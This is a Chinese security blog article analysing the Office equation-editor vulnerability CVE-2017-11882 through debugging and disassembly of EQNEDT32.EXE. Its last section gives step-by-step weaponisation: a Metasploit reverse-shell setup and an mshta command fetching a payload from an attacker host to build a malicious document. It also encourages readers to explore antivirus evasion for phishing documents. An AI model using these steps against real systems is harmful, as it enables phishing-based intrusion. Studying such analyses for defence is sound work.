freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Office钓鱼之传世经典CVE-2017-11882分析学习
2020-07-03 10:12:49

前言

前段时间做安全研究的时候用了好多种方法,其中一种就是使用的CS中的office宏钓鱼,产生的样本为含有宏代码的.docm文件。样本还被人拿来分析了一通发了文章,还被外国友人在推特上点名了,自己服务器也上了黑名单。哎,受宠若惊。
其实说到office钓鱼,那就肯定少不了CVE-2017-11882,这个漏洞是我去年分析APT组织蔓灵花的样本的时候遇到的,自己也一直没有深入学习和研究这个漏洞,现在有点时间了来分析学习一下,因为此漏洞是很多知名APT组织像蔓灵花、白象、摩诃草、响尾蛇等发起攻击时的开山利器,并且研究此漏洞也不需要by pass DEP和ASLR等保护机制,漏洞利用起来也不算复杂,所以对二进制漏洞感兴趣的小伙伴可以研究学习一下它还是挺不错的。

漏洞介绍

CVE-2017-11882是微软公布的一个远程代码执行漏洞,漏洞是由模块EQNEDT32.EXE公式编辑器引起,该模块在Office的安装过程中被默认安装,该模块以OLE技术(Object Linking and Embedding,对象链接与嵌入)将公式嵌入在Office文档内。漏洞产生原因是公式编辑器EQNEDT32.EXE(路径C:\Program Files\Common Files\microsoft shared\EQUATION)读入包含MathType的OLE数据,在拷贝公式字体名称时没有对名称长度进行校验,使得攻击者可以通过刻意构造的数据内容覆盖栈上的函数返回地址,造成栈缓冲区溢出,劫持程序执行流程,执行自己的恶意代码,又因为插入和编辑数学公式时,EQNEDT32.EXE并不会被作为Office进程的子进程创建,而是以单独的进程形式存在。所以Office进程的保护机制也无法保护EQNEDT32.EXE这个进程被利用。从漏洞利用效果来看,它可以通杀Office 2003到2016的所有版本。

漏洞分析环境及工具

  1. Win7 x64
  2. Office 2003
  3. IDA
  4. OllyDbg
  5. MSF

漏洞分析

安装office

我使用的是 Office 2003(需要完全安装),我们完全安装后,可以通过下图查看是否都完全安装,菜单-》插入-》对象-》看是否有Microsoft 公式 3.0,如果没有说明安装的不是完整版。
office 2003完整版链接:https://pan.baidu.com/s/1O7BsRE4YQQLvWOWYikGz6Q 提取码:g0dh

查看漏洞文件

我们可以按照以下路径找到产生漏洞的程序,exeinfo信息显示该程序使用VC++编写。

POC验证漏洞

环境搭建好了,我们就可以使用POC来简单验证一下漏洞,打开exploit.rtf可发现没有任何提示直接弹出了计算器,说明验证成功存在漏洞。
弹计算器漏洞POC:https://github.com/Ridter/CVE-2017-11882

详细分析

因为我们打开POC时弹出了计算器,就表明创建了新的进程,创建新进程的API我们可以猜测是WinExec或者CreateProcess。这样我们就可以使用OD附加EQNEDT32.EXE,然后下API断点来进行动态调试。
我们先打开EQNEDT32.EXE然后使用OD附加上此进程。
然后我们下API断点,命令:BP WinExec,然后打开POC文件,程序成功断下,堆栈中显示的内容说明我们断的位置是正确的。
在上图中的堆栈中我们可以看出,WinExec的返回地址是00430C18,参数是0018F354,参数的内容是通过cmd命令来开启计算器。

此时的00430C12是用户态地址,按道理来说,ebp应该存放当前函数的返回地址,但是却显示的是41414141,很明显ebp已经被破坏了,由于此时的堆栈已经被构造的恶意shellcode破坏,所以我们往堆栈上面看看ebp是在哪里被破坏的。

找到了一个最近的返回地址00411837,我们回车进入往上翻,在函数的开头部分设置一个断点,重新运行,让程序断在这个函数内。
程序断下
我们F8单步运行,在00411658的地方发现这样一条指令:rep movsd dword ptr es:[edi], dword ptr [esi]该指令执行完之后,ebp就被41414141覆盖而该指令的功能是将esi的值传送到edi所指的位置。
我们分别查看一下在执行上一条命令之前esi和edi的内容:

ESI:
EDI:
rep movsd dword ptr es:[edi], dword ptr [esi]执行完之后,EDI被成功赋值,可以看到,此时ebp所在的值已经从0018F214变成了41414141,ebp后面的返回地址已经从004115d8更改为了00430c12

00430C12的地址
过来执行WinExec函数之后,在WinExec函数内部又调用了CreateProcess函数。打断点可看到函数的参数,也就是参数为调用cmd弹出计算器

我们通过动态调试已经知道了漏洞产生的位置是在00411658处,我们接下来使用静态分析。我们使用IDA打开EQNEDT32.EXE,然后跳转到00411658地址
为了方便分析我们F5查看以下伪代码,哦~,学过C语言的同学应该一看就明白了,就是我们使用了不安全版的strcpy函数,没有对参数的长度进行判断和限制,从而导致了栈溢出。
POC内容详情
至此,漏洞的大致分析已经完成。

使用MSF利用漏洞

python脚本下载链接:https://github.com/Ridter/CVE-2017-11882


msf组件下载:https://github.com/0x09AL/CVE-2017-11882-metasploit

把上面下载的cve_2017_11882.rb文件复制到/usr/share/metasploit-framework/modules/exploits/windows/smb/目录下

把下载的cve_2017_11882.rtf放到/usr/share/metasploit-framework/data/exploits/

重新加载模块。
使用命令search cve_2017_11882 查找对应的模块,然后use exploit/windows/smb/cve_2017_11882设置payload为反弹tcp,设置各项参数,lhost为kali的IP,使用命令set URIPATH test设置URI的路径(注意这里设置的路径test,下面使用python脚本生成doc的时候也要加上这个路径)
运行,exploit -j

另外打开一个终端,把Command109b_CVE-2017-11882.py复制到kai liunx桌面,cd到桌面,运行命令python Command109b_CVE-2017-11882.py -c "mshta http://192.168.62.129:8080/test" -o test2.doc 生成恶意doc文件
复制文件到目标机打开

返回攻击机kai liunx,看到被攻击机器已经上线

然后就可以进行我们的传统手艺了~~~

结语

本来还想写一写关于office文件钓鱼免杀的东西来着,后来想了一想其实自己知道的那些免杀知识免杀率也并不多理想。
http://www.ttk7.cn/post-71.html 这篇文章写了一些免杀手法,但是没有亲自动手实践,不知道免杀率咋样,而且好的免杀方法一旦公布出来也就不免杀了,大家可以自己研究一下office钓鱼的免杀,有好的思路可以多多实践多多交流。这里我也就不啰嗦了。

分析此漏洞和复现的时候也翻阅了很多CSDN和看雪论坛的文章,是大家无私得分享和鼓励才使得我们这些后辈学习起来更加轻松,感谢师傅们。

# 系统安全 # 系统安全 # 恶意软件
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者